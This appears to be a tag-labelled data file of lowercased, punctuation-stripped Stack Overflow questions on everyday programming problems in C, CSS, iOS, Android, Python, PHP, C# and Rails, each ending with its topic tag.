how do i optimize  what i m trying to do is take this code:   <pre><code>char naive_smooth_descr[] =  naive_smooth: naive baseline implementation ;  void naive_smooth(int dim  pixel *src  pixel *dst)   {      int i  j;      for (i = 0; i &lt; dim; i++)     for (j = 0; j &lt; dim; j++)         dst[ridx(i  j  dim)] = avg(dim  i  j  src); } </code></pre>   and replace the function call <code>avg(dim  i  j  src);</code> with the actual code at the very bottom of the page. then  take that code and replace all the function calls in that code with the the actual code  etc.    if you re asking why do all this  the reason is simple: when you get rid of function calls the program runs faster  and i m trying to attain the fastest cycles per element when the above code runs by getting rid of all the function calls and replacing it with the actual code.    now i m really just having a lot of trouble doing this. do i take the code with the brackets and then just copy and paste  do i leave out the brackets  do i include the beginning of the code  for example  <code>static pixel avg(int dim  int i  int j  pixel *src)</code> and then the brackets and then the code to replace the function call     i am going to paste all the code here:   <pre><code>/* a struct used to compute averaged pixel value */  typedef struct {      int red;     int green;     int blue;     int num;  }  pixel_sum;  /* compute min and max of two integers  respectively */   static int min(int a  int b) { return (a &lt; b   a : b); }  static int max(int a  int b) { return (a &gt; b   a : b); }    /*   * initialize_ pixel_ sum - initializes all fields of sum to 0   */   static void initialize_ pixel_ sum (pixel_sum *sum)   {      sum-&gt;red = sum-&gt;green = sum-&gt;blue = 0;     sum-&gt;num = 0;     return;  }  /*   * accumulate_sum - accumulates field values of p in corresponding   * fields of sum   */  static void accumulate_ sum (pixel_sum *sum  pixel p)   {      sum-&gt;red += (int) p.red;     sum-&gt;green += (int) p.green;     sum-&gt;blue += (int) p.blue;     sum-&gt;num++;     return;  }   /*   * assign_ sum_ to_ pixel - computes averaged pixel value in current_pixel   */  static void assign_ sum_ to_ pixel (pixel *current_ pixel  pixel_ sum sum)   {      current_pixel-&gt;red = (unsigned short) (sum.red/sum.num);     current_pixel-&gt;green = (unsigned short) (sum.green/sum.num);     current_pixel-&gt;blue = (unsigned short) (sum.blue/sum.num);     return;  }  /*   * avg - returns averaged pixel value at (i j)   */ </code></pre>   this is the code that i want to replace the function call <code>avg(dim  i  j  src);</code> with:   <pre><code>static pixel avg (int dim  int i  int j  pixel *src)   {      int ii  jj;     pixel_sum sum;     pixel current_pixel;      initialize_pixel_sum(&amp;sum);     for(ii = max(i-1  0); ii &lt;= min(i+1  dim-1); ii++)      for(jj = max(j-1  0); jj &lt;= min(j+1  dim-1); jj++)           accumulate_sum(&amp;sum  src[ridx(ii  jj  dim)]);      assign_sum_to_pixel(&amp;current_pixel  sum);     return current_pixel;   } </code></pre>  <hr>  <pre><code>/*  * mysmooth - my smooth   */  char mysmooth_ descr[] =  my smooth: my smooth ;  void mysmooth (int dim  pixel *src  pixel *dst)   {      int i  j; int ii  jj; pixel_sum sum; pixel current_pixel;  for (i = 0; i &lt; dim; i++) for (j = 0; j &lt; dim; j++) { initialize_pixel_sum(&amp;sum); for(ii = max(i-1  0); ii &lt;= min(i+1  dim-1); ii++)  for(jj = max(j-1  0); jj &lt;= min(j+1  dim-1); jj++)      accumulate_sum(&amp;sum  src[ridx(ii  jj  dim)]);  assign_sum_to_pixel(&amp;current_pixel  sum); dst[ridx(i  j  dim)] = current_pixel; } </code></pre>   <strong><em>so is this what my code should look like after i finish taking the code from avg() and replacing it with the function </em></strong>,c
gap between input type text and input type button  ill show it as an image again :) <img src= https://i.stack.imgur.com/84lti.png  alt= enter image description here >    i am designing a search box  but i have faced strange error.. my goal is to make input box and settings button to look as one. so i have styled them with borders. it would look ok  if only there wouldnt be a gap between those two elements.. and also button is 2px smaller than input box. here is my css   <pre><code>form#search { } input[type=text] {   width: 400px;   border-top: 1px solid rgb(217  217  217);   border-right: none;   border-bottom: 1px solid rgb(217  217  217);   border-left: 1px solid rgb(217  217  217);   height: 50px; } input[type=button] {   font-family:  websymbolsregular ;   width: 40px;   border-top: 1px solid rgb(217  217  217);   border-right: 1px solid rgb(217  217  217);   border-bottom: 1px solid rgb(217  217  217);   border-left: none;   background: white;   height: 50px; } input[type=submit] {   font-family:  websymbolsregular ;   height: 50px; } </code></pre>   and here is html  as requested by sachleen. nothing special here..   <pre><code>&lt;form id= search &gt;     &lt;input type= text  name= search  placeholder= search  tabindex= 1 /&gt;     &lt;input type= button  value= s  tabindex= 3 /&gt;     &lt;input type= submit  value= l  tabindex= 2 /&gt; &lt;/form&gt; </code></pre>   i havent made any rules  to make those gaps. adding margin or padding : 0  changes nothing. i am also using eric meyer’s “reset css” 2.0 to reset css.,css
switch state saved if sms sent  i have been trying to connect a switch to an sms text which worked out fine  i was even able to save the state the switch was left in.     however now i need to save the state only if the sms is sent  and if the user doesn t send the message but a switch is already turned on it should then alert them with a alertview.     so far i have been able to save the state the switch was left it and connect a label to signify if it is  on  or  off  in the sms.   <pre><code>- (void)viewdidload { nsuserdefaults *standarddefaults = [nsuserdefaults standarduserdefaults];      self-&gt;switch1.on = ([[standarddefaults stringforkey:@ switchkey ]                                isequaltostring:@ on ])   (yes) : (no);  if(switch1.on){     label.text = @ on ;      nsuserdefaults *defults = [nsuserdefaults standarduserdefaults];     [defults setobject:label.text forkey:@ labelkey ];     [defults synchronize];   } else label.text = @ off ; {      nsuserdefaults *defults = [nsuserdefaults standarduserdefaults];     [defults setobject:label.text forkey:@ labelkey ];     [defults synchronize]; }   label.text = [[nsuserdefaults standarduserdefaults]objectforkey:@ labelkey ];  }   - (ibaction)switchchanged:(uiswitch *)sender {  nsuserdefaults *standarddefaults = [nsuserdefaults standarduserdefaults];  if (sender.on == 0) {      label.text = @ off ;     [standarddefaults setobject:@ off  forkey:@ switchkey ];   } else if (sender.on == 1) {      label.text = @ on ;     [standarddefaults setobject:@ on  forkey:@ switchkey ];  }  [standarddefaults synchronize]; } </code></pre>   this is how i send the sms.   <pre><code> - (ibaction)sendrequest:(id)sender {     mfmessagecomposeviewcontroller *messagevc =    [[mfmessagecomposeviewcontroller alloc] init];  messagevc.body = [@[label.text] componentsjoinedbystring:@  ]; messagevc.recipients = @[_phonenumber.text]; messagevc.messagecomposedelegate = self; [self presentviewcontroller:messagevc animated:no completion:null]; } </code></pre>,ios
irrregular puzzle piece matching issue  i am working on a jigsaw puzzle app. that have irregular pieces.i have done cut out that piece by shading and crop. now  i make a array of dictionary witch have each piece left right top bottom index.that s why i am able to recognize each piece. but problem is that when i recognize 2 piece. it must be combine in to one piece.then a new view  is create for that combine piece.now problem start to me how to recognize that combine piece to other pieces. can any body help me to solve out that problem or any right idea. thanks.,ios
how to read sms inbox programatically in iphone   how to read sms inbox programatically in iphone,iphone
iphone app--newbie authentication question  i have a web app that has standard user model information. i am building an iphone app to communicate with the endpoints in my current web app to authenticate the user and all the actions he/she can do. what is the standard approach for this  oauth,iphone
dependency and association in terms of code  i have a question about dependency and association. my understanding on the terms dependency is that it is like a loose kind of relation  i think of the two class being unrelated but i need to use the other class to complete a task. while association is more like a logical connection between two classes. may i check if my understanding is correct  is dependency a relation that only affects a part of my code while association is creating a instance inside the other class  thanks!,java
android pushnitification expire device registration after 1 week  im implement push notificaitron in my appplicaiton using this tutorial <a href= http://www.androidhive.info/2012/10/android-push-notifications-using-google-cloud-messaging-gcm-php-and-mysql/  rel= nofollow >http://www.androidhive.info/2012/10/android-push-notifications-using-google-cloud-messaging-gcm-php-and-mysql/</a> when register device with gcm server  it say registration id expire after 1 week  so what does is mean device again register  im using client and server base application sent device id to server and server sent notification client using gcm service. what is parse notification which is best parse or gcm      <pre><code>      setting registeredonserver status as true until 2013-10-07 11:57:35.013     09-30 11:57:32.223: v/gcmbroadcastreceiver(308): onreceive:               com.google.android.c2dm.intent.registration    09-30 11:57:32.223: v/gcmbroadcastreceiver(308): gcm intentservice class:    com.schoollunchapp.gcmintentservice  09-30 11:57:32.243: v/gcmbaseintentservice(308): acquiring wakelock  09-30 11:57:32.303: v/gcmbaseintentservice(308): intent service name: gcmintentservice-   747495904150-2   09-30 11:57:32.348: d/gcmbaseintentservice(308): handleregistration: registrationid =       apa91bfz4mnfahchusaiylhl4pw8gsh7fl41kfdaw2qx8ymtkdnykq1qlehefejvgdtawtlrvx-jgfffdzwglg1d4-   ios1oykydmknprdxc80e63ss-armwr7zjqgqw0kshqg7weoencwwyzohbnnuij21k5bnuoda  error = null      unregistered = null   09-30 11:57:32.348: d/gcmregistrar(308): resetting backoff for com.schoollunchapp    09-30 11:57:32.383: v/gcmregistrar(308): saving regid on app version 1   09-30 11:57:32.403: i/gcmintentservice(308): device registered: regid =      apa91bfz4mnfahchusaiylhl4pw8gsh7fl41kfdaw2qx8ymtkdnykq1qlehefejvgdtawtlrvx-jgfffdzwglg1d4-    ios1oykydmknprdxc80e63ss-armwr7zjqgqw0kshqg7weoencwwyzohbnnuij21k5bnuoda   09-30 11:57:32.413: i/school lunch(308): registering device (regid =      apa91bfz4mnfahchusaiylhl4pw8gsh7fl41kfdaw2qx8ymtkdnykq1qlehefejvgdtawtlrvx-jgfffdzwglg1d4-    ios1oykydmknprdxc80e63ss-armwr7zjqgqw0kshqg7weoencwwyzohbnnuij21k5bnuoda)  09-30 11:57:32.443: d/school lunch(308): attempt #1 to register  09-30 11:57:32.464: v/school lunch(308): posting    regid=apa91bfz4mnfahchusaiylhl4pw8gsh7fl41kfdaw2qx8ymtkdnykq1qlehefejvgdtawtlrvx-   jgfffdzwglg1d4-ios1oykydmknprdxc80e63ss-armwr7zjqgqw0kshqg7weoencwwyzohbnnuij21k5bnuoda  to    http://198.57.208.716/~school/nazeer/nazeer2/register.php 09-30 11:57:32.464: e/url(308): &gt; http://198.57.208.716/~school/nazeer/nazeer2/register.php 09-30 11:57:32.944: i/global(308): default buffer sizeused in bufferedreader constructor. it       would be better to be explicit if an 8k-char buffer is required. 09-30 11:57:35.013: v/gcmregistrar(308): setting registeredonserver status as true until    2013-10-07 11:57:35.013  09-30 11:57:35.056: v/gcmbaseintentservice(308): releasing wakelock 09-30 11:57:41.313: v/gcmbroadcastreceiver(308): onreceive:   com.google.android.c2dm.intent.receive 09-30 11:57:41.313: v/gcmbroadcastreceiver(308): gcm intentservice class:      com.schoollunchapp.gcmintentservice  09-30 11:57:41.313: v/gcmbaseintentservice(308): acquiring wakelock   09-30 11:57:41.364: v/gcmbaseintentservice(308): intent service name: gcmintentservice-  747495904150-3 </code></pre>,android
python unexpected attributeerror  i m quite new to python  and as a exercise i wrote a simple reverse function.    the code:   <pre><code>def m_reverse(x):      if len(x) == 1:              return x      return m_reverse(x[:-1]).insert(0 x[-1]) </code></pre>   when i try it i get the following:   <pre><code>&gt;&gt;&gt; m_reverse([1 2 3 4]) traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt;   file  &lt;stdin&gt;   line 4  in m_reverse   file  &lt;stdin&gt;   line 4  in m_reverse attributeerror:  nonetype  object has no attribute  insert  </code></pre>   what s my mistake  any critical data i m lacking,python
can t find plaint text in android  while learning how to build a simple user interface on the instructs. from the palette window on the left  click text in the left panel  and then drag plain text into the design editor and drop it near the top of the layout.  where exactly can i find  plain-text   or is it something i type then drag into the design editor     the link s down below:    <a href= https://developer.android.com/training/basics/firstapp/building-ui.html#textbox  rel= nofollow noreferrer >https://developer.android.com/training/basics/firstapp/building-ui.html#textbox</a>,android
error while splitting unsigned int into unsigned char[]  i am trying to split an unsigned int into the numbers into places: for example the number 234 becomes in the unsigned char array {0 0 0 2 3 4} and i am seeing strange effects   i am not sure i am doing it the right way  is there a better one     here is the code i am using now:   <pre><code>         void display_decl(unsigned int j)          {              unsigned char lst[6];               lst[5] = j &amp; 0x0f;              lst[4] = j &gt;&gt; 4 &amp; 0x0f;              lst[3] = j &gt;&gt; 8 &amp; 0x0f;              lst[2] = j &gt;&gt; 12 &amp; 0x0f;              lst[1] = j &gt;&gt; 16 &amp; 0x0f;              lst[0] = j &gt;&gt; 20 &amp; 0x0f;               display_digits(lst);           } </code></pre>,c
request.querystring giving me space instead of + sign  if i have a url value <a href= http://localhost/default.aspx ts=/+m2dazza3daavaaupuxkzl83n7twmcvm  rel= nofollow >http://localhost/default.aspx ts=/+m2dazza3daavaaupuxkzl83n7twmcvm</a>    request.querystring[ts] is giving me    / m2dazza3daavaaupuxkzl83n7twmcvm    how to ensure that i get all the value from the querystring    is there an encoding or something,asp.net
objective c - links to buttons and labels  my classmate and i tried to learn how to link the code with buttons and labels. but it keeps saying  incomplete implementation  error.   <pre><code>#import  viewcontroller.h   @interface viewcontroller ()  @end  @implementation viewcontroller  -(ibaction) btclickme:(id)sender {     lbtitle.text = @ hello! ; }  -(ibaction) btwelcome:(id)sender{     lbtitle.text = @ welcome ; }  -(ibaction) btgo:(id)sender{     lbtitle.text = txtname.text; }  -(ibaction) bttryme:(id)sender{     if (x == 0) {         lbtitle.text = @ bye! bye! ;         x = 1;     } else {         lbtitle.text = @ welcome! ;         x = 0;     } } </code></pre>,objective-c
c++ university course  do you know any university which has its c++ course available online  i m looking for something similar to mit-style online lectures (lecture notes  projects and examples  assignments  exams  solutions and video content).    <a href= http://ocw.mit.edu/ocwweb/electrical-engineering-and-computer-science/6-096january--iap--2009/coursehome/index.htm  rel= nofollow noreferrer >this</a> is what i ve found on mit  but id doesn t have video content.,c++
if your table has more selects than inserts  are indexes always beneficial   i have a mysql innodb table where i m performing a lot of selects using different columns. i thought that adding an index on each of those fields could help performance  but after reading a bit on indexes i m not sure if adding an index on a column you select on always helps.    i have far more selects than inserts/updates happening in my case.    my table  students  looks like:   <pre><code>id | student_name | nickname | team | time_joined_school | honor_roll </code></pre>   and i have the following queries:   <pre><code># the team column is varchar(32)  and only has about 20 different values. # the honor_roll field is a smallint and is only either 0 or 1. 1. select from students where team =     and honor_roll =  ;  # the student_name field is varchar(32). 2. select from students where student_name =    ;  # the nickname field is varchar(64). 3. select from students where nickname like  % % ; </code></pre>   all the results are ordered by time_joined_school  which is a bigint(20).    so i was just going to add an index on each of the columns  does that make sense in this scenario     thanks,mysql
php upload - why isset($_post[ submit ]) is always false  i have the following code sample upload3.php:   <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;php form upload&lt;/title&gt; &lt;/head&gt; &lt;body&gt;  &lt;form method= post  action= upload3.php  enctype= multipart/form-data &gt;     select a file:     &lt;input type= file  name= filename  size= 10  /&gt;     &lt;input type= submit  value= upload  /&gt; &lt;/form&gt;  &lt; php  if (isset($_post[ submit ])) {     echo  isset submit ; } else  {     echo  not isset submit ; }   &gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   the code always returns  not isset submit . why does this happen  because the same script upload3.php calls itself,php
uncaught type error cannot read property  innertext  of null coffeescript ruby on rails  i just started learning ruby on rails  and i am writing code snippets to learn how the coffeescript works. i know how javascript works so i tried to get the text of the button in coffeescript. however each time it says that cannot read property innertext of null. i have written the code. any idea why this is  i am using rails 5.2.0.    coffeescript:   <pre><code>console.log  hello  //this works  console.log document.getelementbyid( user_login_submission ).innertext //this gives error </code></pre>   myproject.html.erb:   <pre><code>   `&lt;button class= user_login_submission  id= user_login_submission &gt;login&lt;/button&gt;` </code></pre>,ruby-on-rails
how to store pathgeometry   i have several pathgeometry-s which are showing line between places. i want to save these lines. i couldn t serialize it to xml and don t know how to store these lines. is there any chance to do it        [edit] i have pathgeometry-s at code behind  not in xaml. when i try to use xmlwriter class to store these it gives exception  ... classes couldn t be restored because they dont be known as known types,c#
controller not registering when using ngroute  i am still new to angularjs  and i have a problem when using ngroute on the same js file as one of my controller.    code:    index.html   <pre><code>&lt;html  ng-app= testmodule &gt;   &lt;head&gt;&lt;/head&gt;   &lt;body ng-controller= testcontroller &gt;     &lt;div&gt;       &lt;h1&gt; {{hellotext}} &lt;/h1&gt;     &lt;/div&gt;     &lt;div ng-view&gt;&lt;/div&gt;     &lt;script src= bower_components/angular/angular.min.js &gt;&lt;/script&gt;     &lt;script src= bower_components/angular-route/angular-route.min.js &gt;&lt;/script&gt;     &lt;script src= controller/test.js &gt;&lt;/script&gt;     &lt;script src= controller/testview1.js &gt;&lt;/script&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   test.js   <pre><code>var testmodule = angular.module( testmodule  [ ngroute ]);  testmodule.controller( testcontroller   function($scope) {   $scope.hellotext =  hello! ; });  testmodule.config(function($routeprovider) {   $routeprovider   .when( /page1   {     templateurl :  view/test1.html       controller  :  test1viewcontroller    }); }); </code></pre>   testview1.js   <pre><code>angular.module( testmodule ).controller( test1viewcontroller  function($scope) {   $scope.message1 =  this is a message from test1viewcontroller! ; }); </code></pre>   test1.html   <pre><code>&lt;div ng-controller= test1viewcontroller &gt;   &lt;p&gt;this is a message &lt;/p&gt;   {{message1}} &lt;/div&gt; </code></pre>   it does not show anything  and upon looking on the console:   <blockquote>    angular.js:14800 error: [$controller:ctrlreg]   <a href= http://errors.angularjs.org/1.6.9/  rel= nofollow noreferrer >http://errors.angularjs.org/1.6.9/</a>$controller/ctrlreg p0=testcontroller        error: $controller:ctrlreg a controller with this name is not   registered.    the controller with the name  testcontroller  is not   registered.  </blockquote>   i have also tried moving <strong>testcontroller</strong> to <strong>testview1.js</strong>  and it works as it s supposed to do. also the ngroute still does not work. i don t know what to do about this.,angularjs
display show action data in modal popup rails  i am trying to put show action data in modal popup.on view there is a table of clients data  every time when i click on show button it shows first client s data in pop up. i need help in how and where to put loop so that every time i can access different relevant data.   <pre><code>this is the code  &lt;% @clients.each do |client| %&gt; &lt;tr class= even pointer &gt;     &lt;td class= a-center  &gt;&lt;%= client.name %&gt;&lt;/td&gt;     &lt;td class= a-center  &gt;&lt;%= truncate(client.email  :length =&gt; 15)%&gt;&lt;/td&gt;     &lt;td class= a-center  &gt;&lt;%= client.mobile_number %&gt;&lt;/td&gt;     &lt;td class= a-center  &gt;&lt;%= client.car_model %&gt;&lt;/td&gt;     &lt;td class= a-center  &gt;&lt;%= client.date_of_purchase.try(:strftime    %d %b %y ) %&gt;&lt;/td&gt;     &lt;td class= a-center  &gt;&lt;%= client.insurance_expiry_date.try(:strftime    %d %b %y ) %&gt;&lt;/td&gt;     &lt;td class= a-center  &gt;&lt;%= client.warranty_expiry_date.try(:strftime    %d %b %y ) %&gt;&lt;/td&gt;     &lt;td class= a-center  &gt;&lt;%= client.lifestyle_manager_name %&gt;&lt;/td&gt;     &lt;td class= a-center  &gt;&lt;%= truncate(client.lifestyle_manager_email  :length =&gt; 15) %&gt;&lt;/td&gt; &lt;td class= a-center  &gt;&lt;%= client.lifestyle_manager_mobile_number %&gt;&lt;/td&gt; &lt;td&gt;&lt;a href= #  data-toggle= modal  data-target= #mymodal &gt;show&lt;/a&gt;&lt;td&gt; &lt;!-- modal --&gt; &lt;div class= modal fade  id= mymodal  role= dialog &gt; &lt;div class= modal-dialog &gt;             &lt;!-- modal content--&gt;             &lt;div class= modal-content &gt;             &lt;div class= modal-header &gt;   &lt;button type= button  class= close  data-dismiss= modal &gt;                                                                     &amp;times;                                                                 &lt;/button&gt;                                                                 &lt;h4 class= modal-title &gt;client&lt;/h4&gt;                                                             &lt;/div&gt;                                                             &lt;div class= modal-body &gt;                                                                 &lt;p&gt;                                                                     &lt;strong&gt;name:&lt;/strong&gt;                                                                     &lt;%= client.name %&gt;                                                                 &lt;/p&gt;                                                                 &lt;p&gt;                                                                     &lt;strong&gt;email:&lt;/strong&gt;                                                                     &lt;%= client.email %&gt;                                                                 &lt;/p&gt;                                                                 &lt;p&gt;                                                                     &lt;strong&gt;mobile number:&lt;/strong&gt;                                                                     &lt;%= client.mobile_number %&gt;                                                                 &lt;/p&gt;                                                                 &lt;p&gt;                                                                     &lt;strong&gt;car model:&lt;/strong&gt;                                                                     &lt;%= client.car_model %&gt;                                                                 &lt;/p&gt;                                                                 &lt;p&gt;                                                                     &lt;strong&gt;date of purchase:&lt;/strong&gt;                                                                     &lt;%= client.date_of_purchase %&gt;                                                                 &lt;/p&gt;                                                                 &lt;p&gt;                                                                     &lt;strong&gt;insurance expiry date:&lt;/strong&gt;                                                                     &lt;%= client.insurance_expiry_date %&gt;                                                                 &lt;/p&gt;                                                                 &lt;p&gt;                                                                     &lt;strong&gt;warranty expiry date:&lt;/strong&gt;                                                                     &lt;%= client.warranty_expiry_date %&gt;                                                                 &lt;/p&gt;                                                                 &lt;p&gt;                                                                     &lt;strong&gt;lifestyle manager name:&lt;/strong&gt;                                                                     &lt;%= client.lifestyle_manager_name %&gt;                                                                 &lt;/p&gt;                                                                 &lt;p&gt;                                                                     &lt;strong&gt;lifestyle manager email:&lt;/strong&gt;                                                                     &lt;%= client.lifestyle_manager_email %&gt;                                                                 &lt;/p&gt;                                                                 &lt;p&gt;                                                                     &lt;strong&gt;lifestyle manager mobile number:&lt;/strong&gt;                                                                     &lt;%= client.lifestyle_manager_mobile_number %&gt;                                                                 &lt;/p&gt;                                                             &lt;/div&gt;                                                             &lt;div class= modal-footer &gt;                                                                 &lt;button type= button  class= btn btn-default  data-dismiss= modal &gt;                                                                     close                                                                 &lt;/button&gt;                                                             &lt;/div&gt;                                                         &lt;/div&gt;                                                     &lt;/div&gt;                                                 &lt;/div&gt;                                                        &lt;td&gt;&lt;%= link_to  edit   edit_client_path(client) %&gt;&lt;/td&gt;                                                 &lt;td&gt;&lt;%= link_to  delete   client  method: :delete  data: { confirm:  are you sure   } %&gt;&lt;/td&gt;                                                  &lt;/td&gt;                                                 &lt;/td&gt;                                             &lt;/tr&gt;                                             &lt;% end %&gt; </code></pre>,ruby-on-rails
environment.getexternalstoragederictory() return path to internal memory  help me  please. my problem: i have path /storage/sdcard0. it s internal memory on my device. /storage/sdcard1 - path to sd. functoin    <blockquote>    environment.getexternalstoragederictory()  </blockquote>   return path /storage/sdcard0. how can i get path to my sd,android
"how to make cornered button with css   how do i make a button like this with pure css     <a href= https://i.stack.imgur.com/7mjvv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/7mjvv.png  alt= enter image description here ></a>    that s all that i ve been capable of:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.sidemenubutton {
   width: 100px;
   height: 100px;
   background: #6d1a3e;
   position: relative;
   transform: rotate(-90deg);
   border: none;
 }
 
 .sidemenubutton:after {
   content:   ;
   position: absolute;
   bottom: 0;
   left: 0;
   border-top: 29px solid #6d1a3e;
   border-left: 29px solid #fff;
   width: 42px;
   height: 0;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;button type= button  class= sidemenubutton &gt;x&lt;/button&gt;</code></pre>
 </div>
 </div>
     but it s not working right way",css
c# error cs0103 the name  originalimage  does not exist in the current context  i have problem with my code  i ve tryed <code>string originalimage = null;</code>. but this not really working. because its not taking original file name somehow..    code:   <pre><code> private void textbox1_click(object sender  eventargs e)     {         folderbrowserdialog fbd = new folderbrowserdialog();         fbd.rootfolder = environment.specialfolder.desktop;         fbd.description =  +++ select path +++ ;         fbd.shownewfolderbutton = false;          if (fbd.showdialog() == dialogresult.ok)         {             textbox1.text = fbd.selectedpath;         }         string[] originalimage = directory.getfiles(textbox1.text   *.jpg );          foreach (var filename in originalimage)         {             bitmap bitmap = new bitmap(filename);              //defaultcompressionjpeg(bitmap);              variousquality(bitmap);         }     }      string originalimage = null;      public void variousquality(image original)     {          imagecodecinfo jpgencoder = null;         imagecodecinfo[] codecs = imagecodecinfo.getimageencoders();         foreach (imagecodecinfo codec in codecs)         {             if (codec.formatid == imageformat.jpeg.guid)             {                 jpgencoder = codec;                 break;             }         }         if (jpgencoder != null)         {              encoder encoder = encoder.quality;             encoderparameters encoderparameters = new encoderparameters(1);              for (long quality = 90; quality &lt;= 90;)             {                 encoderparameter encoderparameter = new encoderparameter(encoder  quality);                 encoderparameters.param[0] = encoderparameter;                  string fileout = path.combine(@ c:\users\kristen\desktop\pilt2    originalimage +  .jpeg );                 debug.writeline(fileout);                 filestream ms = new filestream(fileout  filemode.create  fileaccess.write);                 original.save(ms  jpgencoder  encoderparameters);                 ms.flush();                 ms.close();             }         }     } </code></pre>   kind regards,c#
how can i solve  input string was not in correct format   its one of my first projekts  and its even copied off a danish beginner book  i have double checked serval times  and they re identical  but there still seems to be an error.   <pre><code>using system;  namespace amount_and_price {     class program     {         static void main(string[] args)         {             console.writeline( write the price here   );             string text = console.readline();             double price = convert.todouble(text);             console.writeline( write the amount here    );             text = console.readline();             int quantity = convert.toint32(text);             double amount = price * quantity;             double vat = amount * 0.25;             double total = amount + vat;             console.writeline( {0  -15} { 1  10:f}    pris på varen   price);             console.writeline( {0  -15} { 1  10:d}    antal styk   quantity);             console.writeline( {0  -15} { 1  10:f}    pris eks. moms   amount);             console.writeline( {0  -15} { 1  10:f}    moms   vat);             console.writeline( {0  -15} { 1  10:f}    total pris  inkl. moms   total);          }     } } </code></pre>   what do i need to change so the error  input string was not in correct format  doesn t appear,c#
how to align drop down menu ul under parent li   so i m adding a css drop down menu to a site however i am unable to get it to display properly.    the site in question is here > <a href= http://www.grimeforum.com/  rel= nofollow >http://www.grimeforum.com/</a> when you hover over  news  li  the child ul appears squashed.    i ve spent the past few hours messing with positions but it either displays in the correct place but very squashed  or it floats to the left (but not squashed).    when i remove   <pre><code>position: relative; </code></pre>   from   <pre><code>#menu-nav li { float: left; position: relative; } </code></pre>   it appers unsquashed  but floated to the left outside of the parent li.    any ideas     here is the fiddle - <a href= http://jsfiddle.net/scw9a/  rel= nofollow >http://jsfiddle.net/scw9a/</a> remove postition:relative from line 463,css
how to pack iphone code  i created an iphone app and tested it on my simulator its working fine   now i want to test the same app in another simulator . how can i do the same (i copied the whole folder but its not working ) please help,iphone
jquery events receive and stop not working on droppable lists  the html is well formed and working correctly  but neither the alerts or the functions are firing; it seems like these just aren t working.  i m stumped  because it seems strange it would work for the stop:  but nothing else.    i m persisting the order within tabs successfully  but without these events firing  i m not sure how to persist moves across tabs without hacking.   <pre><code>$(  .connectedsortable  ).sortable({     opacity: 0.5      placeholder:  ui-state-highlight       stop: function( event  ui ) {          $( .connectedsortable ).each(function() {             if($( # +this.id).length &gt; 0){                 var margin_id = $(this).attr( margin_id );                 var group_id = $(this).attr( group_id );                 var sortedids = $(  # +this.id ).sortable(  toarray  );                 console.log(sortedids);                 update_widget_order(sortedids __user_id __page_id margin_id group_id);              }         });          // update widget order      }      receive: function( event  ui ) {         alert( test );         $( .connectedsortable ).each(function() {             if($( # +this.id).length &gt; 0){                 var margin_id = $(this).attr( margin_id );                 var group_id = $(this).attr( group_id );                 var sortedids = $(  # +this.id ).sortable(  toarray  );                 console.log(sortedids);                 update_widget_order(sortedids __user_id __page_id margin_id group_id);             }         });     }           remove: function( event  ui ) {         alert( remove );         /*$( .connectedsortable ).each(function() {             if($( # +this.id).length &gt; 0){                 var margin_id = $(this).attr( margin_id );                 var group_id = $(this).attr( group_id );                 var sortedids = $(  # +this.id ).sortable(  toarray  );                 console.log(sortedids);                 update_widget_order(sortedids __user_id __page_id margin_id group_id);             }         });*/     }  }).disableselection(); </code></pre>,jquery
autorenewable in-app using mkstorekit   i have an application in iphone in  which i am trying to implement autorenewable subscription using mkstorekit4.3.in which i noticed some server codes are there. is it possible to use this without using the server component.so that by setting own server as nil and review access as nil.can anybody help me with exact mechanism.,iphone
super allocwithzone having some doubts in singleton class concept  i am new in objective-c and i am trying to create a singleton class based on <a href= http://developer.apple.com/library/ios/#documentation/cocoa/conceptual/cocoafundamentals/cocoaobjects/cocoaobjects.html#//apple_ref/doc/uid/tp40002974-ch4-sw32  rel= nofollow >apple s documentation</a>.   <pre><code>+ (mygizmoclass*)sharedmanager {     if (sharedgizmomanager == nil) {         sharedgizmomanager = [[super allocwithzone:null] init];     }     return sharedgizmomanager; }  + (id)allocwithzone:(nszone *)zone {     return [[self sharedmanager] retain]; } </code></pre>   in this code <code>sharedmanager</code> is a static method which will check if object of this class is present. if so it will return the previous created object  otherwise it create a new one.    i have some questions:   <ol> <li> if <code>sharedmanager</code> is static  how can it to access <code>super</code>  </li> <li> when i print <code>[super class]</code> why does it give the current class name  </li> <li> why does <code>[[super allocwithzone:null] init]</code> is return the current class object  </li> <li> if <code>super</code> is equal to <code>self</code> here than why its not calling current class s <code>allocwithzone:(nszone *)zone</code>  </li> </ol>,objective-c
android button ontouchlistener firing outside bounds  when i press my finger on a button and then move it outside button s bounds  the <code>ontouchlistener</code> continues firing.    the same thing happens when i press one finger on the button and a second finger outside the button: my <code>ontouchlistener</code> fires for the second finger.    how do i can avoid this  i want to fire my <code>ontouchlistener</code> only when i press inside a button s bounds.    <img src= https://i.stack.imgur.com/tmwkj.png  alt= two fingers >    <img src= https://i.stack.imgur.com/ypw1t.png  alt= one finger >    here is my <code>ontouchlistener</code> implementation   <pre><code>view.ontouchlistener ontouchlistener = new view.ontouchlistener() {     @override     public boolean ontouch(view v  motionevent event) {          if (fingerdown) {             xhistoricalfirstfinger = (int) event.getx();             yhistoricalfirstfinger = (int) event.gety();             xfirstclick = xhistoricalfirstfinger;             yfirstclick = yhistoricalfirstfinger;             //counter++;             fingerdown = false;         }         x = (int) event.getx();         y = (int) event.gety();          log.v( touched   client.remoteadress.tostring());          mousemoveprovider.nextx = x - xhistoricalfirstfinger;         mousemoveprovider.nexty = y - yhistoricalfirstfinger;         mousemoveprovider.ready = true;         xhistoricalfirstfinger = x;         yhistoricalfirstfinger = y;          if (event.getaction() == motionevent.action_up) {             if (x - xfirstclick == 0 &amp; y - yfirstclick == 0) {                 new thread(new runnable() {                     @override                     public void run() {                         try {                             client.makemove();                         } catch (ioexception e) {                             e.printstacktrace();                             networklistener.handlenetworkisureachableexception(context);                         }                     }                 }).start();             }              fingerdown = true;          }         return true;     } }; </code></pre>,android
how to lock iphone to a specific screen of app for some time  same like kids mode programmatically   i am developing an app in which user gets alerts for quran time. now when user is in prayer i want to lock my device for that time same like enabling kids mode. how that can be achieved in iphone.,ios
